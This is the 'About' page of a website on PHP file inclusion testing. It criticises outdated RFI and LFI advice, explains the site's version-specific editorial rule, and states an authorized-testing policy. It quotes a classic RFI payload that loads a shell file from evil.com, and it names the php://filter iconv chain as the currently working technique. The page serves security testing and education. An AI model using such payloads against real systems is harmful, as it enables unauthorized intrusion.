About
rfi.page documents file inclusion — remote and local — against the configurations that ship in 2026. It exists because most of the material on this topic does not.
The problem with the existing material
Search for RFI and you will find the same payload on every page: ?page=http://evil.com/shell.txt. That payload requires allow_url_include=On, which PHP has shipped Off since version 5.2.0 in November 2006. Search for LFI and the first bypass suggested is almost always a null byte, which PHP 5.3.4 fixed in December 2010.
Neither is a small correction. They send testers looking for a class of bug that has been disabled by default for the better part of two decades, while the technique that actually works on a stock host — an iconv filter chain through php://filter — goes unmentioned because it was published in 2022.
The editorial rule
Every claim about whether an inclusion fires names the runtime, the version, and the configuration. "RFI works here" is not a statement this site will make. "This fires on PHP 8 with allow_url_include=On, and is blocked on the default" is.
That rule is enforced mechanically, not by discipline. The cheatsheet is the single source of truth for wrapper behaviour; the payload builder derives its verdicts independently; and the build fails if the two ever disagree about a single cell. When PHP changes a default, that is a one-file edit and a check run, not an audit of every guide.
Authorized testing only
Everything here assumes you have written authorization for the target. Generated payloads default to RFC 2606 reserved hostnames, and the build script rejects any generated output containing a host outside that set — the site should not hand anyone a copy-pasteable payload aimed at a third party.
The lab is a simulation. There is no server behind it, nothing executes, and it says so on the page. It models the resolution rules so you can see which control stops which payload; it is not evidence that anything works.
Corrections
Corrections to data/inclusion-matrix.json are the most valuable contribution you can make. That file is what everything else derives from, and runtime defaults are exactly the kind of thing that goes stale quietly. Open an issue.